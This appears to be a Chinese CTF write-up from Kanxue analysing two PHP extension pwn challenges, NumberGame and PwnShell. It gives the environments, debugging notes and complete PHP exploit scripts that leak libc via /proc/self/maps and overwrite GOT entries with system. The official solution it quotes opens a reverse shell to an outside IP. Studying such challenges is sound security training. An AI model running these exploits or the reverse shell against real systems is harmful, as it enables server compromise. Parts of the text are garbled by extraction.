.so 文件的导出函数
zif_
,实际上调用的函数名是:show_chunk()
edit_chunk()
edit_name()
free_chunk()
gdb调试方法(一种)
172.17.0.2。
函数传参分析
echo "123";add_chunk(1,[0x23],"name");
?>
rsi 可以通过该指针指向的字符数量来得知正确的参数数量(当前add_chunk) `lzz` 3个参数 类型
zend_parse_parameters
https://www.bookstack.cn/read/phpbook/7.1.md
最简单的获取函数调用者传递过来的参数便是使用zend_parse_parameters()函数。zend_parse_parameters()函数的前几个参数我们直接用内核里宏来生成便可以了,形式为:ZEND_NUM_ARGS() TSRMLS_CC,注意两者之间有个空格,但是没有逗号。从名字可以看出,ZEND_NUM_ARGS()代表着参数的个数。紧接着需要传递给zend_parse_parameters()函数的参数是一个用于格式化的字符串,就像printf的第一个参数一样。下面表示了最常用的几个符号。
6 strings
7 arrary
zend_parse_parameters
会返回 -1 否则 0。lzz
是什么东东。l Integer 整型
d Floating point 浮点型
s String 字符串
r Resource 资源
a Array 数组
o Object instance 对象
O Object instance of a specified type 特定类型的对象
z Non-specific zval 任意类型~
Z zval**类型
f 表示函数、方法名称,PHP5.3之前没有的
NumberGame
题目环境
server.py
import tempfile
import ossys.stdout.write("File size >> ")
sys.stdout.flush()
size = int(sys.stdin.readline().strip())
if size > 1024*1024:
sys.stdout.write("Too large!")
sys.stdout.flush()
sys.exit(1)
sys.stdout.write("Data >> ")
sys.stdout.flush()
script = sys.stdin.read(size)
filename = tempfile.mktemp()
with open(filename, "w") as f:
f.write(script)
os.system("php " + filename)
Dockerfile
RUN apt-get update
RUN apt-get upgrade -y
RUN DEBIAN_FRONTEND=noninteractive
RUN apt install lib32z1 xinetd libstdc++6 lib32stdc++6 python3 -yRUN useradd -m ctf
RUN echo "ctf:ctf" | chpasswd
WORKDIR /home/ctf
ADD ynetd /home/ctf
ADD server.py /home/ctf
ADD run.sh /home/ctfCOPY ./php.ini /usr/local/etc/php
COPY ./numberGame.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./readflag /
COPY ./flag.txt /flag.txt
RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag
EXPOSE 5555
CMD ./ynetd -p 5555 "timeout 30 ./run.sh"
php.ini
基本上禁用了所有的php函数disable_classes = ""...
extension = numberGame.so ; 扩展的 so
.tar.gz
的docker 镜像包,使用以下命令进行加载(线下比赛没有网络 给Dockerfile
也拉起不了,所以给打包的环境)。分析 numberGame.so 漏洞

触发漏洞
size_t *name_ptr;
size_t num;
size_t array_size; // 默认 最大 100, 通过漏洞使这里变大,我们既可以实现数组越界
...;
};
exploit
$libc_base = 0;
$libc = "";
$mbase = "";function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}
function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "x00");
return $addr;
}
function leakaddr($buffer){
global $libc, $mbase;
$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';
$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/local/lib/php/extensions/no-debug-non-zts-20230831/numberGame.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
echo "n----1-----n";
add_chunk(5,[0,0,0,0x80000000,0],"test1"); # 需要构造好
#add_chunk(1,[0],"/bin/sh;");
add_chunk(1,[0],"/bin/sh");
$rel = show_chunk(0); # 这里触发漏洞 vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值
$heap = $rel[7];
$heap += ($rel[8] << 0x20); // 泄露 heap 地址
$of = $heap - 72; # 数组起始
#
$str_got = hexdec($mbase[1][0])+ 0x4008; // 计算 strlen 的地址,
##
echo "n----heap-----n";
echo dechex($heap);
echo "n----4-----n";
echo $libc[1][0];
echo "n----4-----n";
#
$offset = ($str_got - $of) / 4;
$system = (hexdec($libc[1][0]) + 0x4c490);
echo $offset;
edit_chunk(0,$offset,$system & 0xffffffff); # 修改strlen_got表低四字节为 system
//修改name 的时候 会先 strlen测量 name 的长度 strlen("/bin/sh");
edit_name(1,'1'); #
?>
PwnShell
题目环境
RUN apt-get update
RUN apt-get upgrade -y
RUN DEBIAN_FRONTEND=noninteractive
RUN apt install vim -yCOPY ./stuff/php.ini /usr/local/etc/php
COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./stuff/readflag /
COPY ./flag.txt /flag.txt
COPY ./stuff/index.php /var/www/html
RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag
RUN chmod -R 777 /var/www/html
@error_reporting(E_ALL);
$file = $_FILES['file'];
if (!isset($file)){
die('upload error');
}
$result = move_uploaded_file($file['tmp_name'], $file['name']);if ($result){
echo 'upload success';
}else{
echo 'upload error';
}
调试方法
添加
extension = vuln.so
/usr/sbin/apachectl -X
即可调试进程.apachectl
是一个 shell脚本。from os import system
import sys
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
rl = lambda :io.recvline()
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('�33[1;31;40m%s --> 0x%x �33[0m' % (s, eval(s)))context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','190']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
elif args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP = str(sys.argv[1])
PORT = int(sys.argv[2])
return remote(IP,PORT)
else:
return process([binary] + argv, *a, **kw)io = process(['/usr/sbin/apachectl', '-X'])
print(io.pid)
sleep(0.1)
import subprocess
gdbscript = '''
b *zif_addHacker
#b *zif_displayHacker
b *zif_editHacker
#b *zif_editHacker
c
'''
command = ["pgrep", "-f", "/usr/sbin/apache2"]
result = subprocess.run(command, capture_output=True, text=True)
pids = int(result.stdout.strip().split("n")[0])
gdb.attach(pids,gdbscript)
pause()
system('cp exp.php /var/www/html/exp.php')
system('curl http://127.0.0.1/exp.php')
itr()
分析 vuln.so
removeHacker()
displasyHacker()
edithacker()
// 下面的基本上猜都能猜出来
removeHack(0); # idx
editHack(0,"ntxt"); # idx, new_text
displayHack(0); # idx
漏洞分析
off by null
时,0x77b36de73040
里面存的指针还是正常的。off by null
触发后,下面的那个链表已经被修改了。$libc_base = 0;
$libc = "";
$mbase = "";function hex($addr){
return dechex($addr);
}
// str_repeat("x90", 0x8)
// str_pad($cmd, 0x20, "x00")
function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}
function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "x00");
return $addr;
}
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';
#$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/local/lib/php/extensions/no-debug-non-zts-20230831/vuln.so/';
$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/php/20230831/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$module_base=hexdec($mbase[1][0]);
//echo hex($libc_base)."n";
//echo hex($module_base)."n";
$pay = p64($module_base + 0x4020);
$pay = str_pad($pay,0x40,"x01");
addHacker(str_repeat("A", 0x8), str_repeat("B", 0x30));
addHacker($pay, str_repeat("D", 0x2f));
editHacker(0,'111');
?>
exploit
$libc_base = 0;
$libc = "";
$mbase = "";function hex($addr){
return dechex($addr);
}
// str_repeat("x90", 0x8)
// str_pad($cmd, 0x20, "x00")
function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}
function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "x00");
return $addr;
}
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';
#$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/local/lib/php/extensions/no-debug-non-zts-20230831/vuln.so/';
$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/php/20230831/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$module_base=hexdec($mbase[1][0]);
$system = $libc_base + 362304;
//echo hex($libc_base)."n";
//echo hex($module_base)."n";
$cmd = "echo `whoami`x00";
$pay = p64($module_base + 0x4020);
$pay = str_pad($pay,0x40,"x01");
addHacker(str_repeat("A", 0x8), str_repeat("B", 0x30));
addHacker($pay, str_repeat("D", 0x2f));
addHacker($cmd,$cmd);
editHacker(0,p64($system));
displayHacker(2);
?>
官方的Wp-exploit-学
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "x00");
return $addr;
}
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';
$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/local/lib/php/extensions/no-debug-non-zts-20230831/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
function leak(){
global $libc_base, $module_base, $libc, $mbase;
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$module_base=hexdec($mbase[1][0]);
}
function attack($cmd){
global $libc_base, $module_base;
$payload = str_pad(p64($module_base + 0x4038).p64(0xff), 0x40, "x90");
$gadget = p64($libc_base + 0x4c490);
addHacker(str_repeat("x90", 0x8), str_repeat("x90", 0x30));
addHacker($payload, str_repeat("x90", 0x2f));
addHacker(str_pad($cmd, 0x20, "x00"), "114514");
editHacker(0, $gadget);
}
function main(){
$cmd = 'bash -c "bash -i >& /dev/tcp/114.514.19.19/810 0>&1"';
leak();
attack($cmd);
removeHacker(2);
}
main();
?>
附件下载
看雪ID:imLZH1
https://bbs.kanxue.com/user-home-987517.htm
# 往期推荐
2、BFS Ekoparty 2022 Linux Kernel Exploitation Challenge
3、银狐样本分析
球分享
原文始发于微信公众号(看雪学苑):CTF php .so pwn 题型分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论